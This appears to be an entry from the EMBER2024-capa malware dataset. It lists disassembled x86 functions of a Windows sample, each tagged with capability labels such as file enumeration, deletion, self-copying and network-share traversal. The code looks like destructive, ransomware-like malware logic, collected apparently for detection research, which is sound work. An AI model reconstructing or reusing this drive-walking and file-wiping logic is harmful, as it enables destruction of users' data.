joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4057f9
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 0x14], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 8], 0
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
push 0
push 0x80
push 3
push 0
push 0
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40584b
cmp dword [ebp - 8], 0xffffffff
jne 0x40584f
jmp 0x4058c8
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
cmp eax, dword [ebp - 8]
jb 0x40588e
jmp 0x4058c8
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 0
jl 0x4058a0
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 1
jle 0x4058a4
jmp 0x4058c8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
add eax, 0x20
push eax
mov eax, dword [ebp - 0xc]
add eax, 4
push eax
call fcn.0040644e
mov ecx, dword [ebp - 0xc]
cmp eax, dword [ecx]
jne 0x4058c8
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
jne 0x4058f2
cmp dword [ebp - 0xc], 0
je 0x4058e7
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
and dword [ebp - 0xc], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x405901
cmp dword [ebp + 0xc], 1
jne 0x405901
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xc]
leave
ret 8
Function at 0x40644e
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
or dword [ebp - 4], 0xffffffff
and dword [ebp - 8], 0
jne 0x4064d3
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
and dword [ebp - 0xc], 0
jmp 0x40647f
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x100
jge 0x4064d3
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 8
jmp 0x40649e
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x4064c5
mov eax, dword [ebp - 0x10]
and eax, 1
je 0x4064bb
mov eax, dword [ebp - 0x10]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0x10], eax
jmp 0x4064c3
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
jmp 0x406497
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx + eax*4], edx
jmp 0x406478
and dword [ebp - 0x18], 0
jmp 0x4064e0
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp + 0xc]
jae 0x406519
and dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
xor eax, dword [ebp - 4]
and eax, 0xff
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
shr eax, 8
and eax, 0xffffff
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 4], eax
jmp 0x4064d9
mov eax, dword [ebp - 4]
not eax
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x406536
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x40653d
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0x18], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x14], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 4], 0
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x406589
jmp 0x406616
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0xf001f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4065ce
jmp 0x406616
push 0
mov eax, dword [ebp - 0xc]
push dword [eax + 4]
mov eax, dword [ebp - 8]
sub eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call fcn.00402327
mov eax, dword [ebp - 8]
sub eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call fcn.0040644e
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [eax]
je 0x40660f
jmp 0x406616
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0xc], 0
je 0x406625
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 4], 0
je 0x406634
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], 0xffffffff
je 0x406643
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
leave
ret 4
Function at 0x407645
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 0x2c
push eax
push dword [ebp + 0xc]
push 0x40d534
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp + 8]
movsx eax, byte [eax + 0x2c]
cmp eax, 0x2e
je 0x407810
mov eax, dword [ebp + 8]
movzx eax, word [eax + 0x2c]
cmp eax, 0x2e2e
je 0x407810
and dword [ebp - 0x10c], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
and eax, 0x10
je 0x40770f
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x40ddbc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call fcn.00407814
cmp dword [0x413d78], 1
jne 0x40770a
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x407810
cmp dword [0x413d78], 1
jne 0x40772a
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x407810
push 0x2e
mov eax, dword [ebp + 8]
add eax, 0x2c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x407810
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [0x413d74], 0
jne 0x40778f
push 0x40dbec
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40778a
lea eax, [ebp - 0x108]
push eax
call fcn.00408544
jmp 0x407810
jmp 0x407810
push 0x40dc40
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4077d7
mov eax, dword [ebp + 0x10]
movsx eax, byte [eax]
test eax, eax
jne 0x4077be
mov eax, dword [ebp + 8]
add eax, 0x2c
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
call fcn.004071fe
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407810
push 0x40dbec
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x407810
push 0x412fc0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x407810
lea eax, [ebp - 0x108]
push eax
call fcn.00408544
leave
ret 0xc
Function at 0x407814
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
or dword [ebp - 0x354], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x40ddf4
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0x248]
and eax, 0xffffff
cmp eax, 0x5c3a43
jne 0x407918
and dword [ebp - 0x358], 0
push 0x104
push 0
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
push eax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x5c
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0
je 0x407918
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
and dword [ebp - 0x464], 0
jmp 0x4078eb
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x15
jge 0x407918
mov eax, dword [ebp - 0x464]
push dword [eax*4 + 0x410a60]
push dword [ebp - 0x358]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x407916
jmp 0x4079f3
jmp 0x4078de
push 0x104
push 0
lea eax, [ebp - 0x350]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x354], eax
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00407645
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4079e7
cmp dword [0x413d74], 1
jne 0x4079cf
movsx eax, byte [ebp - 0x350]
test eax, eax
je 0x4079cf
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4079cf
jmp 0x4079e7
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00407645
jmp 0x40798a
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindClose]
leave
ret 4
Function at 0x407a27
Capabilities:
Copy file
Delete file
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
or dword [0x410ab4], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x26
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x40ddf8
lea eax, [ebp - 0x210]
push eax
push 0x40d534
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
push 0x413738
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00402415
push eax
push 0x412fc0
push 0x40de08
push 0x413738
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x413738
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x407ae8
xor eax, eax
jmp 0x407b6a
push 0x104
push 0
lea eax, [ebp - 0x318]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40de14
push 0x4130d0
push 0x40d3a4
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 3
push 0x413d80
push 0x413d7c
lea eax, [ebp - 0x318]
push eax
call fcn.00401198
test eax, eax
jne 0x407b46
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 4
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x410ab4], eax
xor eax, eax
inc eax
leave
ret
Function at 0x407bad
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
and dword [ebp - 0xc4], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x6c], eax
and dword [0x413d74], 0
and dword [0x413d78], 0
cmp dword [0x413d74], 1
jne 0x407c04
cmp dword [ebp + 8], 0
jne 0x407bf4
call fcn.00407a27
test eax, eax
jne 0x407bf2
xor eax, eax
jmp 0x407db8
jmp 0x407c04
cmp dword [0x410ab4], 0xffffffff
jne 0x407c04
xor eax, eax
jmp 0x407db8
push 0x68
push 0
lea eax, [ebp - 0x68]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 8], 0
jne 0x407d3f
and dword [ebp - 0xc8], 0
lea eax, [ebp - 0xc0]
push eax
push 0x50
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0xc8]
movsx eax, byte [eax]
test eax, eax
je 0x407d3d
mov eax, dword [ebp - 0xc8]
movsx eax, byte [eax]
cmp eax, 0x41
je 0x407d1c
mov eax, dword [ebp - 0xc8]
movsx eax, byte [eax]
cmp eax, 0x42
je 0x407d1c
and dword [ebp - 0xcc], 0
push dword [ebp - 0xc8]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jbe 0x407d1c
cmp dword [ebp - 0xcc], 5
je 0x407d1c
and dword [ebp - 0xd0], 0
jmp 0x407cba
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x1a
jae 0x407d1c
mov eax, dword [ebp - 0xd0]
cmp dword [ebp + eax*4 - 0x68], 0
jne 0x407d1a
push 0
push 0
push dword [ebp - 0xc8]
push 0x4079f7
push 0
push 0
call dword [ebp - 0x6c]
mov ecx, dword [ebp - 0xd0]
mov dword [ebp + ecx*4 - 0x68], eax
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [0x413d74], 1
jne 0x407d18
push 0xffffffffffffffff
mov eax, dword [ebp - 0xd0]
push dword [ebp + eax*4 - 0x68]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x407d1c
jmp 0x407cad
push dword [ebp - 0xc8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xc8]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0xc8], eax
jmp 0x407c40
jmp 0x407d73
push 0
push 0
push dword [ebp + 8]
push 0x4079f7
push 0
push 0
call dword [ebp - 0x6c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xc4], 1
cmp dword [0x413d74], 1
jne 0x407d73
push 0xffffffffffffffff
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [0x413d74], 1
jne 0x407d93
cmp dword [ebp + 8], 0
jne 0x407d91
call fcn.00407b6c
mov dword [0x413d84], 1
jmp 0x407db6
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0xc4]
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x413d74], 1
jmp 0x407bd3
xor eax, eax
leave
ret 4
Function at 0x407dbc
Capabilities:
Clear file content
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 8], 0x40de24
and dword [ebp - 4], 0
or dword [ebp - 0xc], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x4130d0
push 0x40de40
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x80
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x40818b
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
and dword [ebp - 0x214], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x214], eax
push 0x208
push 0
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x214]
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x214]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0x408046
push 0
push 0
call dword [0x413da8]
mov dword [ebp - 8], eax
push 0x3e8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40822a
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
inc eax
jmp 0x40823a
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x40823e
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
and dword [ebp - 8], 0
and dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jne 0x408261
mov dword [ebp - 8], 1
jmp 0x40843b
cmp dword [ebp + 0x10], 1
je 0x408271
cmp dword [ebp + 0x10], 2
jne 0x40843b
and dword [ebp - 0xb4], 0
and dword [ebp - 0x60], 0
and dword [ebp - 0x5c], 0
push 0x50
push 0
lea eax, [ebp - 0xb0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x50
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xb8], 1
jmp 0x4082bc
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0xb8], eax
ja 0x408373
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
sub eax, dword [ebp - 0xb8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x5c], eax
cmp dword [ebp + 0x10], 1
jne 0x4082fd
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x60], eax
jmp 0x40833b
cmp dword [ebp + 0x10], 2
jne 0x40833b
mov eax, dword [ebp - 0x5c]
cmp dword [eax + 0x10], 0
jbe 0x408337
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx + 0x10]
mov ecx, dword [ebp + 0xc]
sub ecx, eax
mov dword [ebp - 0x60], ecx
jne 0x408335
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 8], eax
jmp 0x40843b
jmp 0x40833b
and dword [ebp - 0x60], 0
cmp dword [ebp - 0x60], 0
jbe 0x40836e
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xb0], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x58], ecx
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
jmp 0x4082af
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x60], eax
and dword [ebp - 0xbc], 0
jmp 0x408392
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xb4]
jae 0x4083f4
cmp dword [ebp + 0x10], 1
jne 0x4083ca
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x60]
jbe 0x4083c8
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x60], eax
jmp 0x4083f2
cmp dword [ebp + 0x10], 2
jne 0x4083f2
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x60]
jae 0x4083f2
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x60], eax
jmp 0x408385
and dword [ebp - 0xc0], 0
jmp 0x40840a
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0xb4]
jae 0x40843b
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp + eax*4 - 0xb0]
jne 0x408439
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x58]
mov dword [ebp - 8], eax
jmp 0x40843b
jmp 0x4083fd
cmp dword [ebp - 8], 0
jne 0x408448
mov dword [ebp - 8], 1
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
sub eax, dword [ebp - 8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x409a89
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
and dword [ebp - 0xc], 0
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x409ae1
call dword [ebp - 4]
cmp eax, 0x3e5
je 0x409ae1
or eax, 0xffffffff
jmp 0x409ae3
xor eax, eax
leave
ret 0x18
Function at 0x409d8e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x18], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x40c732
cmp dword [0x413d84], 0
jne 0x409dcb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x409db5
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
je 0x409de6
jmp 0x409f63
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x409dff
jmp 0x409f63
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x409f3a
and dword [ebp - 0x1c], 0
jmp 0x409e3a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jae 0x409f38
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x409f12
or dword [ebp - 0x12c], 0xffffffff
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x40df1c
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xffffffff
je 0x409f12
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [0x413db0], 0
jne 0x409ee4
mov dword [0x413db0], 1
call fcn.00407a27
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x40ddbc
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
call fcn.00407bad
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x409f33
mov eax, dword [ebp - 0x1c]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.00409d8e
jmp 0x409e33
jmp 0x409f45
cmp dword [ebp - 0x18], 0x103
je 0x409f45
jmp 0x409f52
cmp dword [ebp - 0x18], 0x103
jne 0x409dff
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 4]
call sub.MPR.dll_WNetCloseEnum
leave
ret 4